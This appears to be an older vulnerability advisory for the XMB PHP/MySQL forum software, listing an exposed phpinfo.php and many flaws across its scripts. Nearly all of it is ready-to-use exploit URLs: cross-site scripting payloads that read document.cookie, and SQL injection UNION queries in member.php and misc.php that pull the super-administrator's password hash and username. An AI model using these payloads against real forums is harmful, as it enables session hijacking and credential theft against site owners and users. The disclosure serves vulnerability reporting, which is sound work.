Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Extreme Messageboard aka XMB is very popular and feature rich forum,  
based on php and mysql. More information can be found on sites  
http://www.aventure-media.co.uk and http://www.xmbforum.com  
  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Ok, we have lot's of the security flaws to disclosure, so let's begin...  
  
  
1. php and webserver info disclosure and possible XSS  
  
Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum  
software. Original code:  
  
<?php  
/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */  
phpinfo();  
?>  
  
In this way ANYONE can get lot's of insider information from webserver and php engine  
environment - good startup for attacker...  
And even "better" - phpinfo.php can be used for exploiting the XSS:  
  
http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(document.cookie);</script>  
  
  
  
2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta  
  
Example http request:  
  
http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>  
  
Remark: Log off before trying this or it will not work!  
  
  
  
3. XSS in editprofile.php --> only in 1.9 beta  
  
Example request:  
  
http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheader=<body%20onload=alert(document.cookie);>  
  
  
4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta  
  
Example request:  
  
http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);>  
  
  
5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta  
  
Reason --> uninitialized variables $viewmost,$replymost,$latest  
  
http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea><body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);>  
  
  
6. XSS in post.php   
  
Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta  
  
http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%20onload=alert(document.cookie);>  
  
  
7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta  
  
Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay  
  
http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.cookie);>  
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20onload=alert(document.cookie);>  
  
  
8. Sql injection and XSS in forumdisplay.php   
  
http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);>  
  
Remark: will work only, when no user logged in, because logging in will override the $tpp value.  
  
  
*************** [really scary sql injection bugs] ***************  
  
9. sql injection and XSS in member.php --> only in 1.9 beta version  
  
  
Let's look at original code, line 461:  
  
switch($self['status']){  
case 'member';  
$restrict .= " f.private !='3' AND";  
  
case 'Moderator';  
  
case 'Super Moderator';  
$restrict .= " f.private != '2' AND";  
  
case 'Administrator';  
$restrict .= " f.userlist = '' AND f.password = '' AND";  
  
case 'Super Administrator';  
break;  
  
default:  
$restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";  
break;  
}  
Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:  
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar  
You have an error in your SQL syntax.  
  
XSS:  
  
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=<body%20onload=alert(document.cookie);>  
  
And now the funniest part - how to get superadmin's password's md5 hash from database:  
  
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*  
  
Or u want superadmin's username? Here it is:  
  
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*  
  
  
10. sql injection and XSS in misc.php --> only in 1.9 beta version  
  
  
http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);>  
  
http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*  
  
  
11. sql injection and XSS in today.php --> only in 1.9 beta version  
  
http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(document.cookie);>
